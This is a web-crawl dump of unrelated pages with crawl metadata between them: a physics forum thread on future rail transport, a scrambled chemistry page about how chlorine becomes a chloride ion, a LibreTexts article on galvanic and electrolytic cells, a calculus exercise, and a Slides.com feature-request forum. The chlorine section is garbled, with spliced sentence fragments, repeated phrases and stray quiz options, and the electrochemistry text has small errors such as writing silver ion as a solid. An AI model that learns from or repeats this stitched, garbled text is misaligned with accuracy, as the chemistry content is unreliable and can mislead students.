"perplexity": 12226.42434617607}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.3, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2018-39/segments/1537267163146.90/warc/CC-MAIN-20180926022052-20180926042452-00298.warc.gz"}
http://www.physicsforums.com/showthread.php?s=aa42e0216d5aeffa5e73016134d6dd54&p=4024179	## The future of the automotive industry and transport in the us??? Why will Americans never fully take to rail? Because we are adventurers by nature. The people that came to this Country had adventure in their blood. We like our cars, and we like em big and fast. So then I tell you Rail is the future? What? Electromagnetic rail that supersedes the interstate system at first, and will then eventually spread to every street in the 'grid'. The 'Grid' will be the Global positioning system that monitors all traffic in the grid. High speed rail that individual cars fit onto to. Cars will be hybrids able to change between wheels and rails. I can envision hydraulic jacks supporting the vehicle while the tires protrude and wrap around the bottoms of the track. Electromagnetic so you float on a cushion of air. Doesn't get any smoother ride than that. Safer than a conventional vehicle in that head on collisions could be virtually eliminated. An onboard tracking system (360 degree autodrive), as well as a global positioning system that can take over if the primary system (autodrive) fails. Also the occupant’s vehicles in close proximity will also react defensively thus virtually eliminating accidents. High speed at potentially 200 mph. Driver relinquishes control of his/her vehicle when he agrees to enter the grid. Where there's a market $$there's a way! At first there will be pay toll roads with sections between cities, which will eventually span the grid with further progress, population growth, congestion, and need for faster delivery of goods and services as well as safe transport for the masses. Double decker roads with the 'railroad' so to speak on top. Rails built down into the road. Never thought people would take a roller coaster to work at 200 mph? Just be careful of the G's!! All free transport with respect to fuel, (Hopefully by then we could run the rail on clean energy (fusion) funded by toll roads and perhaps tax payers for public roads. Limitations... Infrastructure, automotive industry conversion, giving up certain 'road freedoms' for safer/faster driving. No stress, hands free autodrive. Contrary to Hollywood we will NOT have flying cars or anything of the sort for common transport of the masses anytime in the next 100 years. Sorry. Can you imagine the disaster? Not good. Thoughts..... PhysOrg.com engineering news on PhysOrg.com >> Sensitive bomb detector to rove in search of danger>> PNNL-developed injection molding process recognized with emerging technologies award>> How soon could car seats enter the 3-D comfort zone? Well, thr first very obvious objection is the need for the two propulsion systems on board - for wheels/road and for the rail. Half of them is unused at any given time but needs to be lugged around. That means extra weight & fuel. ... and size which kinda contradicts the original idea of trying to reduce congestion. Plus the haudrolics you mention. Presumably large and powerful enough to handle your large and powerful car. Well, extra (mostly) dead weight you have to lug around. Don't forget the extra mechanics needed to switch from one to the other. Servicing all 3 (or is it 4 now?) systems. So...did I hear you mention$$? And we haven't even started on the infrastructure yet. I could see high speed trains that moved cars as a potential transport alternative in the future? A high speed train that people could drive their cars onto locked into place and transported at high speed to the destination. Does anyone know the weight/load capacity of high speed trains (electromagnetic) with regards to if it could actually carry a 'load' of cars/trucks and maintain a reasonable speed say greater than 200 kph (124 mph)? ## The future of the automotive industry and transport in the us??? I could maybe see high speed freight transportation as a successor to long distance highway travel, sort of like a high speed boat ferry... but without the boat and the water. But for small distances, is it really practical for high-speed above-ground traffic with the possibility of pedestrians somehow falling onto the tracks? Recognitions: Gold Member The US may never go to better rail coverage. I shouldn't say "never", but the deck is stacked against us. It would be fantastic to have a more expansive net of rail lines and hubs, but much of the US is rural, and passenger rail isn't looking too profitable. Recognitions: Gold Member Quote by jarroe Electromagnetic rail that supersedes the interstate system at first, and will then eventually spread to every street in the 'grid'. The 'Grid' will be the Global positioning system that monitors all traffic in the grid. High speed rail that individual cars fit onto to. Cars will be hybrids able to change between wheels and rails. This is economically nonsensical and will never happen. Well, OK, I agree w/ turbo that "never" is a dangerous word. Let's say it's extraordinarily unlikely to ever happen, although some kind of mass transit, much better than what we have not, is likely in the fairly distant future.	2013-05-26 02:22:40	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.29609978199005127, "perplexity": 2375.123903832601}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2013-20/segments/1368706484194/warc/CC-MAIN-20130516121444-00091-ip-10-60-113-184.ec2.internal.warc.gz"}
http://vixenlights.com/1qv4of/page.php?tag=how-does-a-chlorine-atom-become-an-ion-d4ef0b	# how does a chlorine atom become an ion 1. Chlorine is a chemical element with the symbol Cl and atomic number 17. But on the other hand an atom is a neutral species therefore have no charge on them. a) gain an electron b) form a covalent bond c) lose an electron d) form a hydrogen bond Answer: a Difficulty: Medium Learning Objective 1: LO 2.1 Describe the structure of an atom and explain how its structure functions in elements and chemical bonds. The neutral chlorine atom becomes the chloride ion. Chlorine, as mentioned above, desperately wants an electron so it can fill its outer electron level. I'm thinking it's either B or D but im not too sure. Use this information to w. An ion is an atom which has an electrical charge, beacause it has either lost some of the electrons or received extra electrons (electrons are negatively charged). O C. The atom loses 1 proton, to make a total of 36. Ions can be created by chemical reactions. "# A given atom, say #"chlorine"# or #"sodium"# has a given number of protons, fundamental positively charged NUCLEAR particles, which is given by #Z#, the atomic number.For #Cl#, #Z=17#; for #Na#, #Z=11#.Chlorine atoms tend to gain electrons to form negatively charged ions with 18 electrons (the difference between … How does an atom become a positively charged ion? There is a huge difference between a chlorine atom and a chloride ion. Chlorine in its free form is very dangerous if you breathe the fumes or come in contact with the gas. An atom has an equal number of protons (+ charged) and electrons (- charged). An ion is an atom or a molecule carrying some specific charge due to loss or gain of electrons. For a chlorine atom to become a chloride ion, the chlorine atom must A. gain one electron B. lose one electron C. share an electron D. lose all its electrons which one is it? A compound is formed when potassium reacts with chlorine, which forms ions with a negative charge. 17 35.45 o a. the atom gains 1 electron, to make a total of 21. o b. the atom gains 1 electron, to make a total of 18. o c. the atom loses - e-eduanswers.com 75% of chlorine atoms have a mass number of 35, while 25% have a mass number of 37. The size of an atom can be estimated by measuring the distance between adjacent atoms in a covalent compound. Wiki User Answered . Potassium forms ions with a positive charge. Chloride is an ion of chlorine. Ions form salts, not molecules, but they perform many important functions in nutrition. However, after reaction with sodium, we have sodium chloride formed as the sodium atom gives up an electron to chlorine which accepts the electron to form the chloride anion. will it become a positively charged cation or a negatively charged anion? Because it has unequal numbers of protons and electrons, it’s now an ion. A chlorine ion contains 17 protons, ... Atom: An atom is the smalled stable structure of matter. Chlorine is a yellow-green gas at room temperature. The electronic configuration for the chloride anion is: It has a charge of 1 and is written Cl.When an atom of sodium donates its sole valence electron to an atom of chlorine, the result-ing positive and negative charges pull both ions tightly together, forming an ionic bond (Figure 2.4c). The atom gains 1 electron, to make a total of 21. The ionic form of chlorine is called a chloride ion. When it does, the sodium atom becomes a sodium ion with a charge of positive one (+1). 1 See answer Answer 5.0 /5 7. calipriester +9 ... 27 minutes ago There are two main isotopes of chlorine. Sodium atoms have 11 electrons. See Answer. Ca atom loses two electrons and becomes Ca 2+ ion. Ions. Ions consisting of only a single atom are termed atomic or monatomic ions, while two or more atoms form molecular ions or polyatomic ions. When an atom has an unequal number of protons and electrons it is an ion. Asked by Wiki User. chlorine atom has become an anion (AN-ı¯-on), a negatively charged ion. a. to become ions and attract each other. What kind of ions do a sodium atom and a chlorine atom become when a valence electron is transferred from one to the other. Na atom loses 1 electron and becomes Na+ ion. Under standard conditions, the element is a yellow-green gas. 2010-12-11 15:34:00. it gains an electron. d=D. ... (such as chlorine). When an electric field is applied, the sets of ions move in opposite directions, and since they are much more massive than electrons, the conductivity produced is markedly inferior to that in metals. An ion cannot remain in a free state, and has to combine with another Because the sodium ion has a positive charge, and the chlorine ion has a negative charge, they are attracted to each other, and form an ionic bond. Then the atom is called a positive ion. Ions with a negative charge due to the gain of electrons are called anions. Cl + e —-> Cl- To become the negatively charged chloride ion, the neutral chlorine atom needs to gain an electron from a reducing substance like sodium metal. The ions attach themselves to groups of water molecules. b. to attain a noble-gas electron configuration. • Chloride ion is attracted to positively charged electrodes or other positively charged chemical species, but chlorine does … This makes Chlorine atoms prone to accepting a loose electron to complete its outer shell and therefore form the highly stable Chloride ion, Cl- as shown to the right. have a great day! Chlorine does not exist as an ion, perhaps you mean chloride ion. Of the following atoms, ... How many single covalent bonds must a chlorine atom form to have a complete octet in its valence shell? Metal atoms lose electrons becoming positively charged ions. How many electrons does Li atom lose to become an ion? 1. • Chlorine is more chemically reactive than chloride because it is more unstable. • Chloride has achieved the Argon electron configuration, therefore, stable than the chlorine atom. Chlorine undergoes reduction when it forms the chloride ion (Cl-). Now consider the chlorine atom in sodium chloride. The formula of this compound would therefore be KCl. Reduction is the direct opposite of a reaction called oxidation where an atom loses or gives up an electron and is thus said to be oxidized. Answer to Calculate the charge for a chlorine (CI) ion if a chlorine atom gains an electron to become an ion. The Chloride Ion. The sodium atom becomes a positive ion,, and the chlorine atom becomes a negative ion. Hang on, “chlorine ion” is not correct. #"An ion is a species with an excess or deficiency of electrons. The covalent radius of a chlorine atom, for example, is half the distance between the nuclei of the atoms in a Cl 2 molecule. Expert Answer 100% (2 ratings) Every atom wants to complete its octet i.e there must be eight electrons in its outermost shell. Now it's time to get down to basics. How to solve: How many electrons will chlorine gain or lose when it forms an ion? When a chlorine atom gains an electron, its outermost principal energy level achieves an octet. Chlorine atoms gain one electron to become a chloride ion (Cl−). Looking at Ions We've talked about ions before. Chlorine is a naturally occurring element with a symbol Cl and atomic number 17. Or, it can gain electrons and become negatively charged (the number of electrons would be more than the number of protons giving it an overall negative charge). how many electrons does chlorine need to gain to become an ion? [2] The atom gains 1 electron, to make a total of 18. Chlorine The electron configuration of a chlorine atom is $[\mathrm{Ne}] … 01:17. And because ions that have a negative charge are called anions, it’s now called the: In the case of physical ionization in a fluid (gas or liquid), "ion pairs" are created by spontaneous molecule collisions, where each generated pair consists of a free electron and a positive ion. It could be the ions in the air affecting your moods. 1 2 3. The atom that took the electron or 2 became a negatively charged ion. … Simultaneously, the chlorine atom, having gained an extra electron, will take on a negative charge and become a chlorine ion. Essentially, when atoms gain or lose electrons, they become ions. When an atom loses an electron or 2, it has more protons than electrons, and so more positive charges than negative. The process that changes a chlorine atom into a chloride ion is a reaction known as a reduction reaction. How does a chlorine atom become a chloride ion? c. to become more polar ... read more How Ions Affect Your Mood Does the wind put you in a bad mood. When chlorine gains an electron to become a chloride ion with a 21 charge, ... Chlorine The electron configuration of a chlorine atom is$[\mathrm{Ne}] 3 \… 00:43. The sodium ion Na + is a sodium atom less one electron; the chlorine ion Cl − is a chlorine atom with one electron more than normal. So chlorine becomes an ion with a single negative charge. Correct answer to the question How does an atom of chlorine-37 become a chloride ion with a -1 charge? O D. Do you like rain. Now, let's consider chlorine atom, Cl: 1s 2 2s 2 2p 6 3s 2 3p 5. In chemistry an atom of a particular element is said to be reduced when it gains an electron (from another atom). How does an atom of chlorine-37 become a chloride ion with a - 1 charge? The chloride ion now has eighteen electrons and seventeen protons, so it's become a negative ion. 8) In order to become an ion, an atom of chlorine must _____. At this point, chlorine has 17 protons (17 positive charges) and 18 electrons (18 negative charges). Eg. 17 35.45 O A. The atomic number of an element, also called a proton number, tells you the number of protons or positive particles in an atom.A normal atom has a neutral charge with equal numbers of positive and negative particles. Potassium loses one electron when it reacts with chlorine. The atom that has lost an electron becomes a positively charged ion (called a cation), while the atom that picks up the extra electron becomes a negatively charged ion (called an anion). The neutral chlorine atom has acquired a negative charge by gaining an electron. A chlorine atom has an atomic number of 17. This electron is transferred to a chlorine atom to form a chloride ion. Only one more electron is needed to achieve an octet in chlorine’s valence shell. The covalent radii of the main group elements are given in … An atom that has more or fewer electrons in orbit than protons in its nucleus is called an ion.Once the electron from its valence shell has been transferred, the sodium atom will be missing an electron; it therefore will have a positive charge and become a sodium ion. Top Answer. Chlorine has one of the highest electronegativity values of any of the elements which means that its electrons are held very tightly to the nucleus. Become a member and unlock all Study Answers. Chlorine atom is a neutral species and has no charge on it. O B. Opposite charges attract one another while similar charges repel one another. The second-lightest of the halogens, it appears between fluorine and bromine in the periodic table and its properties are mostly intermediate between them. Would therefore be KCl does not exist as an ion species and has no charge on.! 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Called anions form a chloride ion chlorine atom is the smalled stable structure of matter group elements given. Now it 's time to get down to basics but on the other hand atom... 2 3p 5... atom: an atom can be estimated by measuring the distance between adjacent atoms a... More how ions Affect Your Mood does how does a chlorine atom become an ion wind put you in a covalent compound protons! The symbol Cl and atomic number of 35, while 25 % have a mass number 35! Chlorine does not exist as an ion, an atom of a chlorine atom,:... A positive ion, perhaps you mean chloride ion ( Cl− ) level an! Atom can be estimated by measuring the distance between adjacent atoms in a bad Mood compound! ( from another atom ) how does a chlorine atom become an ion that changes a chlorine atom has become an ion a... Hand an atom become a positively charged ion halogens, it ’ now. Specific charge due to loss or gain of electrons how many how does a chlorine atom become an ion Li! Not too sure of water molecules having gained an extra electron, to make a total of 18 is! The chloride ion in its free form is very dangerous if you breathe the or. Cl: 1s 2 2s 2 2p 6 3s 2 3p 5 or. Opposite charges attract one another while similar charges repel one another while similar charges one. Called anions 2 became a negatively charged ion s now an ion the covalent radii of main. Has more protons than electrons, it has more protons than electrons, it unequal. A huge difference between a chlorine atom, Cl: 1s 2 2. Charge by gaining an electron and seventeen protons,... atom: an atom a...	2021-03-08 09:55:56	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.5276734232902527, "perplexity": 1404.0535814038737}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2021-10/segments/1614178383355.93/warc/CC-MAIN-20210308082315-20210308112315-00217.warc.gz"}
https://chem.libretexts.org/Bookshelves/Analytical_Chemistry/Supplemental_Modules_(Analytical_Chemistry)/Electrochemistry/Voltaic_Cells/Electrochemical_Cell_Conventions	# Electrochemical Cell Conventions Using chemical reactions to produce electricity is now a priority for many researchers. Being able to adequately use chemical reactions as a source of power would greatly help our environmental pollution problems. In this section of electrochemistry, we will be learning how to use chemical reactions to produce this clean electricity and even use electricity to generate chemical reactions. In order to induce a flow of electric charges, we place a strip of metal (the electrode) in a solution containing the same metal, which is in aqueous state. The combination of an electrode and its solution is called a half cell. Within the half cell, metals ions from the solution could gain electrons from the electrode and become metal atoms;or the metal atoms from the electrode could lose electrons and become metals ions in the solution. ## Introduction We use two different half cells to measure how readily electrons can flow from one electrode to another, and the device used for measurement is called a voltmeter. The voltmeter measures the cell potential, denoted by Ecell, (in units of Volts, 1 V=1 J/C), which is the potential difference between two half cells. The salt bridge allows the ions to flow from one half cell to another but prevents the flow of solutions. As indicated in the diagram, the anode is the electrode where oxidation occurs; $$\ce{Cu}$$ loses two electrons to form $$\ce{Cu^{+2}}$$. The cathode is the electrode where reduction occurs; $$\ce{Ag^{+} (aq)}$$ gains electron to become $$\ce{Ag(s)}$$. As a convenient substitution for the drawing, we use a cell diagram to show the parts of an electrochemical cell. For example above, the cell notation is: $\underbrace{\ce{Cu(s) \| Cu^{2+} (aq)}}_{\text{oxidation half-reaction}} \,\|\|\, \underbrace{\ce{Ag^{+} (aq)\| Ag(s)}}_{\text{reduction half-reaction}} \nonumber$ Where we place the anode on the left and cathode on the right, "$$\|$$" represents the boundary between the two phases, and "$$\|\|$$" represents the salt bridge. There are two types of electrochemical cells: A Galvanic Cell (aka Voltaic Cell) induces a spontaneous redox reaction to create a flow of electrical charges, or electricity. Non-rechargeable batteries are examples of Galvanic cells. • A Reaction is spontaneous when the change in Gibb’s energy, $$∆G$$ is negative. • Electrons flow from the anode(negative since electrons are built up here) to the cathode (positive since it is gaining electrons). An Electrolytic cell is one kind of battery that requires an outside electrical source to drive the non-spontaneous redox reaction. Rechargeable batteries act as Electrolytic cells when they are being recharged. • A reaction is non-spontaneous when ∆G is > 0. • Must supply electrons to the cathode to drive the reduction, so cathode is negative. • Must remove electrons from the anode to drive the oxidation, so anode is positive. Similarities between Galvanci and Electrolytic Cells Both Galvanic and Electrolytic cells contain: • Two electrodes: the anode where oxidation occurs and the cathode where reduction occurs (note that Cathode does not mean +, and Anode does not mean -) • Volt meter: measures the electric current. In galvanic cells, this shows how much voltage is produced and in electrolytic cells, this shows how much voltage is applied to the system. • Electrolyte • conducting medium • has contact with electrodes • usually in aqueous solution of ionic compounds • Salt Bridge • joins the two halves of the electrochemical cell • filled with a salt solution or gel • keeps the solution separate • Completes the circuit ## Basic Terminology Electrochemical cells use a vast amount of terminology. Here is a brief definition of some of the more common terms: • Voltage: The potential difference between two half cells, also the amount of energy that drives a reaction. Voltage is an intensive property (amount of voltage does matter). • Current: The flow of electric charges (in units of electrons per second). It is an extensive property (amount of current does matter). NOTE: High voltage does not mean high current. • Primary Battery: non-rechargeable batteries. AA, AAA, etc. • Secondary Battery: Rechargeable batteries. Lithium, cell phone batteries, etc. • Tertiary Battery also called Fuel cells. Although not always considered as batteries, these often require a constant flow of reactants. ## Galvanic Cell (aka Voltaic Cells) A galvanic cell produces an electrical charge from the flow of electrons. The electrons move due to the redox reaction. As we can see in Figure $$\PageIndex{1}$$, $$\ce{Cu(s)}$$ oxidizes to $$\ce{Cu^{2+}(aq)}$$, while $$\ce{Ag^{+}(s)}$$ reduces to $$\ce{Ag(s)}$$. The cell notation for this cell is: $\underbrace{\ce{Cu (s) \| Cu^{2+} (aq)}}_{\text{oxidation half-reaction}} \,\|\|\, \underbrace{\ce{Ag^{+} (aq)\| Ag(s)}}_{\text{reduction half-reaction}} \nonumber$ To understand the cell, solve the redox equation. First, split the reaction into two half reactions, with the same elements paired with one another. $\underbrace{\ce{Cu(s) -> Cu^{+2}(aq)}}_{\text{Oxidation reaction occurs at the Anode}} \nonumber$ $\underbrace{\ce{Ag^{+}(aq) -> Ag(s)}}_{\text{Reduction reaction occurs at the Cathode}} \nonumber$ Next, we balance the two equations. $\text{Oxidation}: \ce{Cu(s) -> Cu^{2+}(aq) + 2e^{-} (Anode)} \nonumber$ $\text{Reduction}: \ce{e^{-} + Ag^{+}(aq) → Ag(s) (Cathode)} \nonumber$ Finally, we recombine the two equations. $\ce{Cu(s) + 2Ag^{+}(aq) -> Cu^{2+}(aq) + 2Ag(s)} \nonumber$ This is a spontaneous reaction that releases energy so this system does work on the surroundings. Galvanic cells are quite common. A, AA, AAA, D, C, etc. batteries are all galvanic cells. Any non-rechargeable battery that does not depend on an outside electrical source is a Galvanic cell. ## Electrolytic Cell An electrolytic cell is a cell which requires an outside electrical source to initiate the redox reaction. The process of how electric energy drives the non-spontaneous reaction is called electrolysis. Whereas the galvanic cell used a redox reaction to make electrons flow, the electrolytic cell uses electron movement (in the source of electricity) to cause the redox reaction. In an electrolytic cell, electrons are forced to flow in the opposite direction. Since the direction is reversed of the voltaic cell, the E0cell for electrolytic cell is negative. Also, in order to force the electrons to flow in the opposite direction, the electromotive force that connects the two electrode-the battery must be larger than the magnitude of $$E^o_{cell}$$. This additional requirement of voltage is called overpotential. Reaction in Figure $$\PageIndex{1}$$ can be switched by applying a voltage $\underbrace{\ce{Ag(s) -> Ag^{+}(aq) + e^{-}}}_{\text{Oxidation reaction occurs at the Anode}} \nonumber$ $\underbrace{\ce{Cu^{+2}(aq) + 2e^{-} -> Cu(s)}}_{\text{Reduction reaction occurs at the Cathode}} \nonumber$ with the opposite total reaction $\ce{Cu^{2+}(aq) + 2Ag(s) ->[\text{applied voltage}] Cu(s) + 2Ag^{+}(aq)} \nonumber$ • Galvanic: turns chemical energy into electrical energy • Electrolytic Cell: turns electrical energy into chemical energy The most common form of Electrolytic cell is the rechargeable battery (cell phones, mp3's, etc) or electroplating. While the battery is being used in the device it is a galvanic cell function (using the redox energy to produce electricity). While the battery is charging it is an electrolytic cell function (using outside electricity to reverse the completed redox reaction). ## References 1. Petrucci, Harwood, Herring, and Madura. General Chemistry: Principles and Modern Applications: Ninth Edition. New Jersey: Pearson, 2007. 2. Professor Delmar Larsen. Lecture 2, 3, and 6. Spring 2010 3. Rieger, Philip. Electrochemistry. 2, Illustrated. Springer Us, 1994. 112-113. Print. 4. Hamann, Carl, Andrew Hamnett, and Wolf Vielstich. Electrochemistry. 2, Illustrated. Vch Verlagsgesellschaft Mbh, 2007. 82. Print. Electrochemical Cell Conventions is shared under a not declared license and was authored, remixed, and/or curated by LibreTexts.	2022-05-25 08:08:50	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 1, "mathjax_display_tex": 1, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 0, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.6683259010314941, "perplexity": 1847.7327540016893}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2022-21/segments/1652662580803.75/warc/CC-MAIN-20220525054507-20220525084507-00704.warc.gz"}
https://www.calculus-online.com/exercise/4413	# Analytical Geometry – Calculate a line equation perpendicular to the plane – Exercise 4413 Exercise Calculate the equation of the line passing through the point $$(3,1,-2)$$ And perpendicular to the plain $$x+y-2z=2$$ $$\frac{x-3}{1}=\frac{y-1}{1}=\frac{z+2}{-2}$$	2023-03-22 10:40:09	{"extraction_info": {"found_math": true, "script_math_tex": 0, "script_math_asciimath": 0, "math_annotations": 0, "math_alttext": 0, "mathml": 0, "mathjax_tag": 0, "mathjax_inline_tex": 0, "mathjax_display_tex": 0, "mathjax_asciimath": 0, "img_math": 0, "codecogs_latex": 0, "wp_latex": 0, "mimetex.cgi": 0, "/images/math/codecogs": 0, "mathtex.cgi": 0, "katex": 0, "math-container": 0, "wp-katex-eq": 3, "align": 0, "equation": 0, "x-ck12": 0, "texerror": 0, "math_score": 0.3894023299217224, "perplexity": 726.9561804707313}, "config": {"markdown_headings": true, "markdown_code": true, "boilerplate_config": {"ratio_threshold": 0.18, "absolute_threshold": 10, "end_threshold": 15, "enable": true}, "remove_buttons": true, "remove_image_figures": true, "remove_link_clusters": true, "table_config": {"min_rows": 2, "min_cols": 3, "format": "plain"}, "remove_chinese": true, "remove_edit_buttons": true, "extract_latex": true}, "warc_path": "s3://commoncrawl/crawl-data/CC-MAIN-2023-14/segments/1679296943809.22/warc/CC-MAIN-20230322082826-20230322112826-00716.warc.gz"}
https://help.slides.com/forums/175819-general?filter=hot&page=6&status_id=792683	General 1. Add Elixir as one of the languages supported by syntax highlighting. Elixir is already supported by highlight.js. Love, love, love slides.com. Amazing tech! 1 vote Vote Signed in as (Sign out) You have left! (?) (thinking…) How important is this to you? Signed in as (Sign out) Done! And thanks for the love! Currently, when clicking on the Login from a team profile page, it shows the form without social login (e.g. no Google Apps login). Hence, my login looks like this, every time: http://g.recordit.co/4HWx9c20FM.gif It'd be nice to see the same Login page as the one that can be reached from the homepage. Vote Signed in as (Sign out) You have left! (?) (thinking…) How important is this to you? Signed in as (Sign out) 3. Include fragments in pdf export Right now when you create a presentation with fragments, the exported PDF only shows the last version of any given slide. That is, the version with the "last" fragment in place. This means that the exported PDF is useless as a presentation medium if you include any fragments in your talk. This poses a major problem because many conferences that I go to (and perhaps this is common for others too) require all presentations to be uploaded to a common computer ahead of time, and limit to PDF or MS PPT format (to avoid compatibility issues, etc). So it leaves… Vote Signed in as (Sign out) You have left! (?) (thinking…) How important is this to you? Signed in as (Sign out) This has been added! Fragments are now included as separate pages when exporting to PDF. We made this the default behavior, but there’s an option available in case you want to disable it and export all fragments in their final state. 4. Ability to keep speaker notes open in the editing view I want to flick through my presentation reviewing my notes and editing them without having to go to 'present' mode. Vote Signed in as (Sign out) You have left! (?) (thinking…) How important is this to you? Signed in as (Sign out) When you open the speaker notes input there’s a new “Dock notes” option. If you press this notes will be fixed to the bottom of the screen. This choice is saved so that notes remain docked no matter which presentation you’re editing. Let us know if you run into any issues. 5. offer a simple solution to play videos from the harddrive. I tried <section> <video data-autoplay src="media/media9a.mp4"></video> </section> but its a bit buggy still... Vote Signed in as (Sign out) You have left! (?) (thinking…) How important is this to you? Signed in as (Sign out) Hey! We now let you upload videos from your hard drive and insert them into the presentation. We automatically transcode to a format that can be played anywhere. You can also insert a video by pointing to an external URL. Look for the “Insert from URL” option in the media library. Let us know if you have any feedback! 6. Let the user know how many people is viewing his/her presentation You can have maybe a small box in the corner of presentation mode to tell you how many people are viewing you presentation live. Vote Signed in as (Sign out) You have left! (?) (thinking…) How important is this to you? Signed in as (Sign out) 7. Add YAML to the list of languages for syntax highlighting (code editor) YAML Should be added to syntax highlighting. Previously it was declined due to highlight.js not having support. This is not the case anymore. Vote Signed in as (Sign out) You have left! (?) (thinking…) How important is this to you? Signed in as (Sign out) Thanks for the heads up. We just updated to highlight.js 9.0.0 which adds YAML. You’ll need to reload the editor for it show up though! 8. arrange slides in "profile-page" is it possible to arrange the slides at the profile page? its not alphabetical... nor by date... what's the rules for that??? Vote Signed in as (Sign out) You have left! (?) (thinking…) How important is this to you? Signed in as (Sign out) 9. Typekit support Will there be an option to integrate typekit fonts? Vote Signed in as (Sign out) You have left! (?) (thinking…) How important is this to you? Signed in as (Sign out) 10. Add \mathcal support in Math mode This is supported in ipython markdown and is pretty standard in most TeX implementations. It is of great use for statistical or probability-oriented decks, since we use cursive letters to denote distributions. (N= Gaussian, U=uniform...) Vote Signed in as (Sign out) You have left! (?) (thinking…) How important is this to you? Signed in as (Sign out) We just released support for font changing functions, like \mathcal. More specifically we now support: \mathcal \mathbb \mathfrak \mathtt and \mathbf. 11. Transitions for Fragments Would be great to have different transitions for fragments. As it stands they just appear, but it would be nice to have them slide in or convex etc. Vote Signed in as (Sign out) You have left! (?) (thinking…) How important is this to you? Signed in as (Sign out) 12. The present button should really be always available and not hidden as a sub menu of [...] Never hide the present button, it's a too important feature 1 vote Vote Signed in as (Sign out) You have left! (?) (thinking…) How important is this to you? Signed in as (Sign out) Agreed – we’ve made this change. Note that you can also reach the present view via the preview which is available as a green button in the top left. 13. The support of gifv, webm or video background The ability instead of just having images for backgrounds, allowing the user to use various formats for full screen video Vote Signed in as (Sign out) You have left! (?) (thinking…) How important is this to you? Signed in as (Sign out) We’ve added support for video! Videos can be added in the background or as part of the slide content. You can insert a video either by uploading it to our servers (100 MB max) or specifying an external URL. Let us know if you have any feedback. 14. Allow reset of timer on speaker view Being able to reset the timer on the speaker's view would be nice. It would allow one to get prepared but then still have a valid timer. Thanks! Matt 1 vote Vote Signed in as (Sign out) You have left! (?) (thinking…) How important is this to you? Signed in as (Sign out) 15. Ability to make a fragment disappear The ability to make a fragment disappear. Vote Signed in as (Sign out) You have left! (?) (thinking…) How important is this to you? Signed in as (Sign out) We just made it possible to select from multiple different fragment styles. If you use the "Fade out style, content will be visible from the start and then disappear. 16. Drag and drop to rearrange slides The arrange mode gives an overview of the slides but the system for moving them was non-obvious to me and very cumbersome: moving a slide across the deck is requires as many clicks as there are slides! I would rather drag-and-drop the slides, perhaps you could have a drag icon/handle. Vote Signed in as (Sign out) You have left! (?) (thinking…) How important is this to you? Signed in as (Sign out) We just rolled out the new arrange mode! The new version is entirely drag-and-drop based. Plus, we’ve made it possible to select and drag or delete multiple slides at once so that you can work faster. Please let us know if you run into any issues and we’ll address them as soon as possible. Thanks! 17. Button to quick set opacity to 25%, 50% or 75% The Slides for Opacity is terrible UX. I have slides with lots shaped, which I want to enable and disable often, and it kills me, that I have to hit the 50% exactly every time .. Alternatively please implement a text-input for this. Sometimes I edit the opacity directly in developer-mode, but it is not really better :/ Vote Signed in as (Sign out) You have left! (?) (thinking…) How important is this to you? Signed in as (Sign out) This has been changed. Opacity was the only field that was still using our slider input so made sense to converge on the numeric stepper that we use for everything else. 18. select highlight.js theme for code highlighting It would be nice to support changing higlight.js theme. The default (zenburn?) code highlight theme is unreadable when presenting on projector. At least some black on white would be very useful. Vote Signed in as (Sign out) You have left! (?) (thinking…) How important is this to you? Signed in as (Sign out) 19. Unlimited Speaker Notes I'd like to have more than 300 